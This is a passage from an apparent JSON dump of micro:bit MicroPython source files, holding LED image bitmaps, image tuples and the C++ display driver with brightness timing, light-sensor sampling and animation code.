0,0,0,0,0,\n    0,0,0,1,1,\n    0,0,1,0,0,\n    0,0,0,0,0,\n    0,0,0,0,0\n);\n\nIMAGE_T microbit_const_image_clock3_obj = SMALL_IMAGE(\n    0,0,0,0,0,\n    0,0,0,0,0,\n    0,0,1,1,1,\n    0,0,0,0,0,\n    0,0,0,0,0\n);\n\nIMAGE_T microbit_const_image_clock4_obj = SMALL_IMAGE(\n    0,0,0,0,0,\n    0,0,0,0,0,\n    0,0,1,0,0,\n    0,0,0,1,1,\n    0,0,0,0,0\n);\n\nIMAGE_T microbit_const_image_clock5_obj = SMALL_IMAGE(\n    0,0,0,0,0,\n    0,0,0,0,0,\n    0,0,1,0,0,\n    0,0,0,1,0,\n    0,0,0,1,0\n);\n\nIMAGE_T microbit_const_image_clock6_obj = SMALL_IMAGE(\n    0,0,0,0,0,\n    0,0,0,0,0,\n    0,0,1,0,0,\n    0,0,1,0,0,\n    0,0,1,0,0\n);\n\nIMAGE_T microbit_const_image_clock7_obj = SMALL_IMAGE(\n    0,0,0,0,0,\n    0,0,0,0,0,\n    0,0,1,0,0,\n    0,1,0,0,0,\n    0,1,0,0,0\n);\n\nIMAGE_T microbit_const_image_clock8_obj = SMALL_IMAGE(\n    0,0,0,0,0,\n    0,0,0,0,0,\n    0,0,1,0,0,\n    1,1,0,0,0,\n    0,0,0,0,0\n);\n\nIMAGE_T microbit_const_image_clock9_obj = SMALL_IMAGE(\n    0,0,0,0,0,\n    0,0,0,0,0,\n    1,1,1,0,0,\n    0,0,0,0,0,\n    0,0,0,0,0\n);\n\nIMAGE_T microbit_const_image_clock10_obj = SMALL_IMAGE(\n    0,0,0,0,0,\n    1,1,0,0,0,\n    0,0,1,0,0,\n    0,0,0,0,0,\n    0,0,0,0,0\n);\n\nIMAGE_T microbit_const_image_clock11_obj = SMALL_IMAGE(\n    0,1,0,0,0,\n    0,1,0,0,0,\n    0,0,1,0,0,\n    0,0,0,0,0,\n    0,0,0,0,0\n);\n\n// arrows\n\nIMAGE_T microbit_const_image_arrow_n_obj = SMALL_IMAGE(\n    0,0,1,0,0,\n    0,1,1,1,0,\n    1,0,1,0,1,\n    0,0,1,0,0,\n    0,0,1,0,0\n);\n\nIMAGE_T microbit_const_image_arrow_ne_obj = SMALL_IMAGE(\n    0,0,1,1,1,\n    0,0,0,1,1,\n    0,0,1,0,1,\n    0,1,0,0,0,\n    1,0,0,0,0\n);\n\nIMAGE_T microbit_const_image_arrow_e_obj = SMALL_IMAGE(\n    0,0,1,0,0,\n    0,0,0,1,0,\n    1,1,1,1,1,\n    0,0,0,1,0,\n    0,0,1,0,0\n);\n\nIMAGE_T microbit_const_image_arrow_se_obj = SMALL_IMAGE(\n    1,0,0,0,0,\n    0,1,0,0,0,\n    0,0,1,0,1,\n    0,0,0,1,1,\n    0,0,1,1,1\n);\n\nIMAGE_T microbit_const_image_arrow_s_obj = SMALL_IMAGE(\n    0,0,1,0,0,\n    0,0,1,0,0,\n    1,0,1,0,1,\n    0,1,1,1,0,\n    0,0,1,0,0\n);\n\nIMAGE_T microbit_const_image_arrow_sw_obj = SMALL_IMAGE(\n    0,0,0,0,1,\n    0,0,0,1,0,\n    1,0,1,0,0,\n    1,1,0,0,0,\n    1,1,1,0,0\n);\n\nIMAGE_T microbit_const_image_arrow_w_obj = SMALL_IMAGE(\n    0,0,1,0,0,\n    0,1,0,0,0,\n    1,1,1,1,1,\n    0,1,0,0,0,\n    0,0,1,0,0\n);\n\nIMAGE_T microbit_const_image_arrow_nw_obj = SMALL_IMAGE(\n    1,1,1,0,0,\n    1,1,0,0,0,\n    1,0,1,0,0,\n    0,0,0,1,0,\n    0,0,0,0,1\n);\n\n// geometry\n\nIMAGE_T microbit_const_image_triangle_obj = SMALL_IMAGE(\n    0,0,0,0,0,\n    0,0,1,0,0,\n    0,1,0,1,0,\n    1,1,1,1,1,\n    0,0,0,0,0\n);\n\nIMAGE_T microbit_const_image_triangle_left_obj = SMALL_IMAGE(\n    1,0,0,0,0,\n    1,1,0,0,0,\n    1,0,1,0,0,\n    1,0,0,1,0,\n    1,1,1,1,1\n);\n\nIMAGE_T microbit_const_image_chessboard_obj = SMALL_IMAGE(\n    0,1,0,1,0,\n    1,0,1,0,1,\n    0,1,0,1,0,\n    1,0,1,0,1,\n    0,1,0,1,0\n);\n\nIMAGE_T microbit_const_image_diamond_obj = SMALL_IMAGE(\n    0,0,1,0,0,\n    0,1,0,1,0,\n    1,0,0,0,1,\n    0,1,0,1,0,\n    0,0,1,0,0\n);\n\nIMAGE_T microbit_const_image_diamond_small_obj = SMALL_IMAGE(\n    0,0,0,0,0,\n    0,0,1,0,0,\n    0,1,0,1,0,\n    0,0,1,0,0,\n    0,0,0,0,0\n);\n\nIMAGE_T microbit_const_image_square_obj = SMALL_IMAGE(\n    1,1,1,1,1,\n    1,0,0,0,1,\n    1,0,0,0,1,\n    1,0,0,0,1,\n    1,1,1,1,1\n);\n\nIMAGE_T microbit_const_image_square_small_obj = SMALL_IMAGE(\n    0,0,0,0,0,\n    0,1,1,1,0,\n    0,1,0,1,0,\n    0,1,1,1,0,\n    0,0,0,0,0\n);\n\n// animals\n\nIMAGE_T microbit_const_image_rabbit = SMALL_IMAGE(\n    1,0,1,0,0,\n    1,0,1,0,0,\n    1,1,1,1,0,\n    1,1,0,1,0,\n    1,1,1,1,0\n);\n\nIMAGE_T microbit_const_image_cow = SMALL_IMAGE(\n    1,0,0,0,1,\n    1,0,0,0,1,\n    1,1,1,1,1,\n    0,1,1,1,0,\n    0,0,1,0,0\n);\n\n// musical notes\n\nIMAGE_T microbit_const_image_music_crotchet_obj = SMALL_IMAGE(\n    0,0,1,0,0,\n    0,0,1,0,0,\n    0,0,1,0,0,\n    1,1,1,0,0,\n    1,1,1,0,0\n);\n\nIMAGE_T microbit_const_image_music_quaver_obj = SMALL_IMAGE(\n    0,0,1,0,0,\n    0,0,1,1,0,\n    0,0,1,0,1,\n    1,1,1,0,0,\n    1,1,1,0,0\n);\n\nIMAGE_T microbit_const_image_music_quavers_obj = SMALL_IMAGE(\n    0,1,1,1,1,\n    0,1,0,0,1,\n    0,1,0,0,1,\n    1,1,0,1,1,\n    1,1,0,1,1\n);\n\n// other icons\n\nIMAGE_T microbit_const_image_pitchfork_obj = SMALL_IMAGE(\n    1,0,1,0,1,\n    1,0,1,0,1,\n    1,1,1,1,1,\n    0,0,1,0,0,\n    0,0,1,0,0\n);\n\nIMAGE_T microbit_const_image_xmas_obj = SMALL_IMAGE(\n    0,0,1,0,0,\n    0,1,1,1,0,\n    0,0,1,0,0,\n    0,1,1,1,0,\n    1,1,1,1,1\n);\n\nIMAGE_T microbit_const_image_pacman_obj = SMALL_IMAGE(\n    0,1,1,1,1,\n    1,1,0,1,0,\n    1,1,1,0,0,\n    1,1,1,1,0,\n    0,1,1,1,1\n);\n\nIMAGE_T microbit_const_image_target_obj = SMALL_IMAGE(\n    0,0,1,0,0,\n    0,1,1,1,0,\n    1,1,0,1,1,\n    0,1,1,1,0,\n    0,0,1,0,0\n);\n\n/*\nThe following images were designed by Abbie Brooks.\n*/\n\nIMAGE_T microbit_const_image_tshirt_obj = SMALL_IMAGE(\n    1,1,0,1,1,\n    1,1,1,1,1,\n    0,1,1,1,0,\n    0,1,1,1,0,\n    0,1,1,1,0\n);\n\nIMAGE_T microbit_const_image_rollerskate_obj = SMALL_IMAGE(\n    0,0,0,1,1,\n    0,0,0,1,1,\n    1,1,1,1,1,\n    1,1,1,1,1,\n    0,1,0,1,0\n);\n\nIMAGE_T microbit_const_image_duck_obj = SMALL_IMAGE(\n    0,1,1,0,0,\n    1,1,1,0,0,\n    0,1,1,1,1,\n    0,1,1,1,0,\n    0,0,0,0,0\n);\n\nIMAGE_T microbit_const_image_house_obj = SMALL_IMAGE(\n    0,0,1,0,0,\n    0,1,1,1,0,\n    1,1,1,1,1,\n    0,1,1,1,0,\n    0,1,0,1,0\n);\n\nIMAGE_T microbit_const_image_tortoise_obj = SMALL_IMAGE(\n    0,0,0,0,0,\n    0,1,1,1,0,\n    1,1,1,1,1,\n    0,1,0,1,0,\n    0,0,0,0,0\n);\n\nIMAGE_T microbit_const_image_butterfly_obj = SMALL_IMAGE(\n    1,1,0,1,1,\n    1,1,1,1,1,\n    0,0,1,0,0,\n    1,1,1,1,1,\n    1,1,0,1,1\n);\n\nIMAGE_T microbit_const_image_stickfigure_obj = SMALL_IMAGE(\n    0,0,1,0,0,\n    1,1,1,1,1,\n    0,0,1,0,0,\n    0,1,0,1,0,\n    1,0,0,0,1\n);\n\nIMAGE_T microbit_const_image_ghost_obj = SMALL_IMAGE(\n    1,1,1,1,1,\n    1,0,1,0,1,\n    1,1,1,1,1,\n    1,1,1,1,1,\n    1,0,1,0,1\n);\n\nIMAGE_T microbit_const_image_sword_obj = SMALL_IMAGE(\n    0,0,1,0,0,\n    0,0,1,0,0,\n    0,0,1,0,0,\n    0,1,1,1,0,\n    0,0,1,0,0\n);\n\nIMAGE_T microbit_const_image_giraffe_obj = SMALL_IMAGE(\n    1,1,0,0,0,\n    0,1,0,0,0,\n    0,1,0,0,0,\n    0,1,1,1,0,\n    0,1,0,1,0\n);\n\nIMAGE_T microbit_const_image_skull_obj = SMALL_IMAGE(\n    0,1,1,1,0,\n    1,0,1,0,1,\n    1,1,1,1,1,\n    0,1,1,1,0,\n    0,1,1,1,0\n);\n\nIMAGE_T microbit_const_image_umbrella_obj = SMALL_IMAGE(\n    0,1,1,1,0,\n    1,1,1,1,1,\n    0,0,1,0,0,\n    1,0,1,0,0,\n    0,1,1,0,0\n);\n\nIMAGE_T microbit_const_image_snake_obj = SMALL_IMAGE(\n    1,1,0,0,0,\n    1,1,0,1,1,\n    0,1,0,1,0,\n    0,1,1,1,0,\n    0,0,0,0,0\n);\n\n}\n"
  },
  {
    "path": "micropython/source/microbit/microbitconstimagetuples.c",
    "content": "/*\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Mark Shannon\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"py/runtime.h\"\n#include \"microbit/modmicrobit.h\"\n\nconst mp_obj_tuple_t microbit_const_image_all_clocks_tuple_obj = {\n    {&mp_type_tuple},\n    .len = 12,\n    .items = {\n        (mp_obj_t)&microbit_const_image_clock12_obj,\n        (mp_obj_t)&microbit_const_image_clock1_obj,\n        (mp_obj_t)&microbit_const_image_clock2_obj,\n        (mp_obj_t)&microbit_const_image_clock3_obj,\n        (mp_obj_t)&microbit_const_image_clock4_obj,\n        (mp_obj_t)&microbit_const_image_clock5_obj,\n        (mp_obj_t)&microbit_const_image_clock6_obj,\n        (mp_obj_t)&microbit_const_image_clock7_obj,\n        (mp_obj_t)&microbit_const_image_clock8_obj,\n        (mp_obj_t)&microbit_const_image_clock9_obj,\n        (mp_obj_t)&microbit_const_image_clock10_obj,\n        (mp_obj_t)&microbit_const_image_clock11_obj\n    }\n};\n\nconst mp_obj_tuple_t microbit_const_image_all_arrows_tuple_obj = {\n    {&mp_type_tuple},\n    .len = 8,\n    .items = {\n        (mp_obj_t)&microbit_const_image_arrow_n_obj,\n        (mp_obj_t)&microbit_const_image_arrow_ne_obj,\n        (mp_obj_t)&microbit_const_image_arrow_e_obj,\n        (mp_obj_t)&microbit_const_image_arrow_se_obj,\n        (mp_obj_t)&microbit_const_image_arrow_s_obj,\n        (mp_obj_t)&microbit_const_image_arrow_sw_obj,\n        (mp_obj_t)&microbit_const_image_arrow_w_obj,\n        (mp_obj_t)&microbit_const_image_arrow_nw_obj\n    }\n};\n"
  },
  {
    "path": "micropython/source/microbit/microbitdisplay.cpp",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <string.h>\n#include \"nrf_gpio.h\"\n#include \"MicroBitDisplay.h\"\n#include \"MicroBitLightSensor.h\"\n\nextern \"C\" {\n\n#include \"py/runtime.h\"\n#include \"py/gc.h\"\n#include \"py/objstr.h\"\n#include \"lib/iters.h\"\n#include \"lib/ticker.h\"\n#include \"microbit/modmicrobit.h\"\n#include \"microbit/microbit_image.h\"\n\n#define min(a,b) (((a)<(b))?(a):(b))\n\n#define ASYNC_MODE_STOPPED 0\n#define ASYNC_MODE_ANIMATION 1\n#define ASYNC_MODE_CLEAR 2\n\ntypedef struct _microbit_display_obj_t {\n    mp_obj_base_t base;\n    uint8_t image_buffer[5][5];\n    uint8_t previous_brightness;\n    bool    active;\n    /* Current row for strobing */\n    uint8_t strobe_row;\n    /* boolean histogram of brightness in buffer */\n    uint16_t brightnesses;\n    uint16_t pins_for_brightness[MAX_BRIGHTNESS+1];\n\n    void advanceRow();\n    inline void setPinsForRow(uint8_t brightness);\n} microbit_display_obj_t;\n\nvoid microbit_display_show(microbit_display_obj_t *display, microbit_image_obj_t *image) {\n    mp_int_t w = min(image->width(), 5);\n    mp_int_t h = min(image->height(), 5);\n    mp_int_t x = 0;\n    mp_int_t brightnesses = 0;\n    for (; x < w; ++x) {\n        mp_int_t y = 0;\n        for (; y < h; ++y) {\n            uint8_t pix = image->getPixelValue(x, y);\n            display->image_buffer[x][y] = pix;\n            brightnesses |= (1 << pix);\n        }\n        for (; y < 5; ++y) {\n            display->image_buffer[x][y] = 0;\n        }\n    }\n    for (; x < 5; ++x) {\n        for (mp_int_t y = 0; y < 5; ++y) {\n            display->image_buffer[x][y] = 0;\n        }\n    }\n    display->brightnesses = brightnesses;\n}\n\n#define DEFAULT_PRINT_SPEED 400\n\n\nmp_obj_t microbit_display_show_func(mp_uint_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) {\n\n    // Cancel any animations.\n    MP_STATE_PORT(async_data)[0] = NULL;\n    MP_STATE_PORT(async_data)[1] = NULL;\n\n    static const mp_arg_t show_allowed_args[] = {\n        { MP_QSTR_image,    MP_ARG_REQUIRED | MP_ARG_OBJ, {.u_obj = MP_OBJ_NULL} },\n        { MP_QSTR_delay,    MP_ARG_INT, {.u_int = DEFAULT_PRINT_SPEED} },\n        { MP_QSTR_clear,     MP_ARG_KW_ONLY | MP_ARG_BOOL, {.u_bool = false} },\n        { MP_QSTR_wait,     MP_ARG_KW_ONLY | MP_ARG_BOOL, {.u_bool = true} },\n        { MP_QSTR_loop,     MP_ARG_KW_ONLY | MP_ARG_BOOL, {.u_bool = false} },\n    };\n\n    // Parse the args.\n    microbit_display_obj_t *self = (microbit_display_obj_t*)pos_args[0];\n    mp_arg_val_t args[MP_ARRAY_SIZE(show_allowed_args)];\n    mp_arg_parse_all(n_args - 1, pos_args + 1, kw_args, MP_ARRAY_SIZE(show_allowed_args), show_allowed_args, args);\n\n    mp_obj_t image = args[0].u_obj;\n    mp_int_t delay = args[1].u_int;\n    bool clear = args[2].u_bool;\n    bool wait = args[3].u_bool;\n    bool loop = args[4].u_bool;\n\n    // Convert to string from an integer or float if applicable\n    if (mp_obj_is_integer(image) || mp_obj_is_float(image)) {\n        image = mp_obj_str_make_new(&mp_type_str, 1, 0, &image);\n    }\n\n    if (MP_OBJ_IS_STR(image)) {\n        // arg is a string object\n        mp_uint_t len;\n        const char *str = mp_obj_str_get_data(image, &len);\n        if (len == 0) {\n            // There are no chars; do nothing.\n            return mp_const_none;\n        } else if (len == 1) {\n            if (!clear && !loop) {\n                // A single char; convert to an image and print that.\n                image = microbit_image_for_char(str[0]);\n                goto single_image_immediate;\n            }\n        }\n        image = microbit_string_facade(image);\n    } else if (mp_obj_get_type(image) == &microbit_image_type) {\n        if (!clear && !loop) {\n            goto single_image_immediate;\n        }\n        image = mp_obj_new_tuple(1, &image);\n    }\n\n    // iterable:\n    if (args[4].u_bool) { /*loop*/\n        image = microbit_repeat_iterator(image);\n    }\n    microbit_display_animate(self, image, delay, clear, wait);\n    return mp_const_none;\n\nsingle_image_immediate:\n    microbit_display_show(self, (microbit_image_obj_t *)image);\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_KW(microbit_display_show_obj, 1, microbit_display_show_func);\n\nstatic uint8_t async_mode;\nstatic mp_obj_t async_iterator = NULL;\n// Record if an error occurs in async animation. Unfortunately there is no way to report this.\nstatic volatile bool wakeup_event = false;\nstatic mp_uint_t async_delay = 1000;\nstatic mp_uint_t async_tick = 0;\nstatic bool async_clear = false;\n\nSTATIC void async_stop(void) {\n    async_iterator = NULL;\n    async_mode = ASYNC_MODE_STOPPED;\n    async_tick = 0;\n    async_delay = 1000;\n    async_clear = false;\n    MP_STATE_PORT(async_data)[0] = NULL;\n    MP_STATE_PORT(async_data)[1] = NULL;\n    wakeup_event = true;\n}\n\nSTATIC void wait_for_event() {\n    while (!wakeup_event) {\n        // allow CTRL-C to stop the animation\n        if (MP_STATE_VM(mp_pending_exception) != MP_OBJ_NULL) {\n            async_stop();\n            return;\n        }\n        __WFI();\n    }\n    wakeup_event = false;\n}\n\nstruct DisplayPoint {\n    uint8_t x;\n    uint8_t y;\n};\n\n#define NO_CONN 0\n\n#define ROW_COUNT 3\n#define COLUMN_COUNT 9\n\nstatic const DisplayPoint display_map[COLUMN_COUNT][ROW_COUNT] = {\n    {{0,0}, {4,2}, {2,4}},\n    {{2,0}, {0,2}, {4,4}},\n    {{4,0}, {2,2}, {0,4}},\n    {{4,3}, {1,0}, {0,1}},\n    {{3,3}, {3,0}, {1,1}},\n    {{2,3}, {3,4}, {2,1}},\n    {{1,3}, {1,4}, {3,1}},\n    {{0,3}, {NO_CONN,NO_CONN}, {4,1}},\n    {{1,2}, {NO_CONN,NO_CONN}, {3,2}}\n};\n\n#define MIN_COLUMN_PIN 4\n#define COLUMN_PINS_MASK 0x1ff0\n#define MIN_ROW_PIN 13\n#define MAX_ROW_PIN 15\n#define ROW_PINS_MASK 0xe000\n\ninline void microbit_display_obj_t::setPinsForRow(uint8_t brightness) {\n    if (brightness == 0) {\n        nrf_gpio_pins_clear(COLUMN_PINS_MASK & ~this->pins_for_brightness[brightness]);\n    } else {\n        nrf_gpio_pins_set(this->pins_for_brightness[brightness]);\n    }\n}\n\n/* This is the primary PWM driver/display driver.  It will operate on one row\n * (9 pins) per invocation.  It will turn on LEDs with maximum brightness,\n * then let the \"callback\" callback turn off the LEDs as appropriate for the\n * required brightness level.\n *\n * For each row\n *   Turn off all the LEDs in the previous row\n *     Set the column bits high (off)\n *     Set the row strobe low (off)\n *   Turn on all the LEDs in the current row that have maximum brightness\n *     Set the row strobe high (on)\n *     Set some/all column bits low (on)\n *   Register the PWM callback\n *   For each callback start with brightness 0\n *     If brightness 0\n *       Turn off the LEDs specified at this level\n *     Else\n *       Turn on the LEDs specified at this level\n *     If brightness max\n *       Disable the PWM callback\n *     Else\n *       Re-queue the PWM callback after the appropriate delay\n */\nvoid microbit_display_obj_t::advanceRow() {\n    /* Clear all of the column bits */\n    nrf_gpio_pins_set(COLUMN_PINS_MASK);\n    /* Clear the strobe bit for this row */\n    nrf_gpio_pin_clear(strobe_row+MIN_ROW_PIN);\n\n    /* Move to the next row.  Before this, \"this row\" refers to the row\n     * manipulated by the previous invocation of this function.  After this,\n     * \"this row\" refers to the row manipulated by the current invocation of\n     * this function. */\n    strobe_row++;\n\n    // Reset the row counts and bit mask when we have hit the max.\n    if (strobe_row == ROW_COUNT) {\n        strobe_row = 0;\n    }\n\n    // Set pin for this row.\n    // Prepare row for rendering.\n    for (int i = 0; i <= MAX_BRIGHTNESS; i++) {\n        pins_for_brightness[i] = 0;\n    }\n    for (int i = 0; i < COLUMN_COUNT; i++) {\n        int x = display_map[i][strobe_row].x;\n        int y = display_map[i][strobe_row].y;\n        uint8_t brightness = microbit_display_obj.image_buffer[x][y];\n        pins_for_brightness[brightness] |= (1<<(i+MIN_COLUMN_PIN));\n    }\n    /* Enable the strobe bit for this row */\n    nrf_gpio_pin_set(strobe_row+MIN_ROW_PIN);\n    /* Enable the column bits for all pins that need to be on. */\n    nrf_gpio_pins_clear(pins_for_brightness[MAX_BRIGHTNESS]);\n}\n\nstatic const uint16_t render_timings[] =\n// The scale is (approximately) exponential,\n// each step is approx x1.9 greater than the previous.\n{   0, // Bright, Ticks Duration, Relative power\n    2,   //   1,   2,     32µs,     inf\n    2,   //   2,   4,     64µs,     200%\n    4,   //   3,   8,     128µs,    200%\n    7,   //   4,   15,    240µs,    187%\n    13,  //   5,   28,    448µs,    187%\n    25,  //   6,   53,    848µs,    189%\n    49,  //   7,   102,   1632µs,   192%\n    97,  //   8,   199,   3184µs,   195%\n// Always on  9,   375,   6000µs,   188%\n};\n\n#define DISPLAY_TICKER_SLOT 1\n\nenum {\n    LIGHT_SENSOR_IDLE,\n    LIGHT_SENSOR_REQUEST_SAMPLE,\n    LIGHT_SENSOR_TAKING_SAMPLE,\n    LIGHT_SENSOR_HAVE_SAMPLE,\n};\n\nstatic MicroBitLightSensor *light_sensor_obj = NULL;\nstatic volatile uint8_t light_sensor_state = LIGHT_SENSOR_IDLE;\nstatic uint32_t light_sensor_last_reading_time = 0;\n\nstatic int light_sensor_read(void) {\n    // Create the light-sensor object if it doesn't yet exist\n    if (light_sensor_obj == NULL) {\n        light_sensor_obj = new MicroBitLightSensor(microbitMatrixMap);\n    }\n\n    // Depending on time since last call, take 1, 2 or 3 readings\n    int n;\n    uint32_t time = ticker_ticks_ms;\n    if (time - light_sensor_last_reading_time < 50) {\n        n = 1;\n    } else if (time - light_sensor_last_reading_time < 100) {\n        n = 2;\n    } else {\n        n = 3;\n    }\n\n    // Take readings so the object can average them out\n    for (int i = 0; i < n; ++i) {\n        light_sensor_state = LIGHT_SENSOR_REQUEST_SAMPLE;\n        while (light_sensor_state != LIGHT_SENSOR_HAVE_SAMPLE) {\n        }\n    }\n\n    // Record time of last reading\n    light_sensor_last_reading_time = ticker_ticks_ms;\n\n    // Get and return the light reading\n    return light_sensor_obj->read();\n}\n\nstatic bool light_sensor_busy(void) {\n    if (light_sensor_state == LIGHT_SENSOR_TAKING_SAMPLE) {\n        if (NRF_ADC->ENABLE == ADC_ENABLE_ENABLE_Enabled) {\n            return true;\n        }\n        light_sensor_state = LIGHT_SENSOR_HAVE_SAMPLE;\n    }\n    return false;\n}\n\nstatic void light_sensor_update(void) {\n    if (light_sensor_state == LIGHT_SENSOR_REQUEST_SAMPLE) {\n        light_sensor_obj->startSensing(MicroBitEvent(MICROBIT_ID_DISPLAY, MICROBIT_DISPLAY_EVT_LIGHT_SENSE, CREATE_ONLY));\n        light_sensor_state = LIGHT_SENSOR_TAKING_SAMPLE;\n    }\n}\n\n/* This is the PWM callback.  It is registered by the animation callback and\n * will unregister itself when all of the brightness steps are complete. */\nstatic int32_t callback(void) {\n    microbit_display_obj_t *display = &microbit_display_obj;\n    mp_uint_t brightness = display->previous_brightness;\n    display->setPinsForRow(brightness);\n    brightness += 1;\n    if (brightness == MAX_BRIGHTNESS) {\n        clear_ticker_callback(DISPLAY_TICKER_SLOT);\n        light_sensor_update();\n        return -1;\n    }\n    display->previous_brightness = brightness;\n    // Return interval (in 16µs ticks) until next callback\n    return render_timings[brightness];\n}\n\nstatic void draw_object(mp_obj_t obj) {\n    microbit_display_obj_t *display = (microbit_display_obj_t*)MP_STATE_PORT(async_data)[0];\n    if (obj == MP_OBJ_STOP_ITERATION) {\n        if (async_clear) {\n            microbit_display_show(&microbit_display_obj, BLANK_IMAGE);\n            async_clear = false;\n        } else {\n            async_stop();\n        }\n    } else if (mp_obj_get_type(obj) == &microbit_image_type) {\n        microbit_display_show(display, (microbit_image_obj_t *)obj);\n    } else if (MP_OBJ_IS_STR(obj)) {\n        mp_uint_t len;\n        const char *str = mp_obj_str_get_data(obj, &len);\n        if (len == 1) {\n            microbit_display_show(display, microbit_image_for_char(str[0]));\n        } else {\n            async_stop();\n        }\n    } else {\n        MP_STATE_VM(mp_pending_exception) = mp_obj_new_exception_msg(&mp_type_TypeError, \"not an image\");\n        async_stop();\n    }\n}\n\nstatic void microbit_display_update(void) {\n    async_tick += MILLISECONDS_PER_MACRO_TICK;\n    if (async_tick < async_delay) {\n        return;\n    }\n    async_tick = 0;\n    switch (async_mode) {\n        case ASYNC_MODE_ANIMATION:\n        {\n            if (MP_STATE_PORT(async_data)[0] == NULL || MP_STATE_PORT(async_data)[1] == NULL) {\n                async_stop();\n                break;\n            }\n            /* WARNING: We are executing in an interrupt handler.\n             * If an exception is raised here then we must hand it to the VM. */\n            mp_obj_t obj;\n            nlr_buf_t nlr;\n            gc_lock();\n            if (nlr_push(&nlr) == 0) {\n                obj = mp_iternext_allow_raise(async_iterator);\n                nlr_pop();\n                gc_unlock();\n            } else {\n                gc_unlock();\n                if (!mp_obj_is_subclass_fast(MP_OBJ_FROM_PTR(((mp_obj_base_t*)nlr.ret_val)->type),\n                    MP_OBJ_FROM_PTR(&mp_type_StopIteration))) {\n                    // An exception other than StopIteration, so set it for the VM to raise later\n                    // If memory error, write an appropriate message.\n                    if (mp_obj_get_type(nlr.ret_val) == &mp_type_MemoryError) {\n                        mp_printf(&mp_plat_print, \"Allocation in interrupt handler\");\n                    }\n                    MP_STATE_VM(mp_pending_exception) = MP_OBJ_FROM_PTR(nlr.ret_val);\n                }\n                obj = MP_OBJ_STOP_ITERATION;\n            }\n            draw_object(obj);\n            break;\n        }\n        case ASYNC_MODE_CLEAR:\n            microbit_display_show(&microbit_display_obj, BLANK_IMAGE);\n            async_stop();\n            break;\n    }\n}\n\n#define GREYSCALE_MASK ((1<<MAX_BRIGHTNESS)-2)\n\n/* This is the top-level animation/display callback.  It is not a registered\n * callback. */\nvoid microbit_display_tick(void) {\n    // We can't update the display if the light sensor is sampling\n    if (light_sensor_busy()) {\n        return;\n    }\n\n    /* Do nothing if the display is not active. */\n    if (!microbit_display_obj.active) {\n        light_sensor_update();\n        return;\n    }\n\n    microbit_display_obj.advanceRow();\n\n    microbit_display_update();\n    microbit_display_obj.previous_brightness = 0;\n    if (microbit_display_obj.brightnesses & GREYSCALE_MASK) {\n        set_ticker_callback(DISPLAY_TICKER_SLOT, callback, 1800);\n    } else {\n        light_sensor_update();\n    }\n}\n\n\nvoid microbit_display_animate(microbit_display_obj_t *self, mp_obj_t iterable, mp_int_t delay, bool clear, bool wait) {\n    // Reset the repeat state.\n    MP_STATE_PORT(async_data)[0] = NULL;\n    MP_STATE_PORT(async_data)[1] = NULL;\n    async_iterator = mp_getiter(iterable, NULL);\n    async_delay = delay;\n    async_clear = clear;\n    MP_STATE_PORT(async_data)[0] = self; // so it doesn't get GC'd\n    MP_STATE_PORT(async_data)[1] = async_iterator;\n    wakeup_event = false;\n    mp_obj_t obj = mp_iternext_allow_raise(async_iterator);\n    draw_object(obj);\n    async_tick = 0;\n    async_mode = ASYNC_MODE_ANIMATION;\n    if (wait) {\n        wait_for_event();\n    }\n}\n\n\n// Delay in ms in between moving display one column to the left.\n#define DEFAULT_SCROLL_SPEED       150\n\nvoid microbit_display_scroll(microbit_display_obj_t *self, const char* str) {\n    mp_obj_t iterable = scrolling_string_image_iterable(str, strlen(str), NULL, false, false);\n    microbit_display_animate(self, iterable, DEFAULT_SCROLL_SPEED, false, true);\n}\n\n\nmp_obj_t microbit_display_scroll_func(mp_uint_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) {\n    static const mp_arg_t scroll_allowed_args[] = {\n        { MP_QSTR_text, MP_ARG_REQUIRED | MP_ARG_OBJ, {.u_obj = MP_OBJ_NULL} },\n        { MP_QSTR_delay, MP_ARG_INT, {.u_int = DEFAULT_SCROLL_SPEED} },\n        { MP_QSTR_wait, MP_ARG_KW_ONLY | MP_ARG_BOOL, {.u_bool = true} },\n        { MP_QSTR_monospace, MP_ARG_KW_ONLY | MP_ARG_BOOL, {.u_bool = false} },\n        { MP_QSTR_loop, 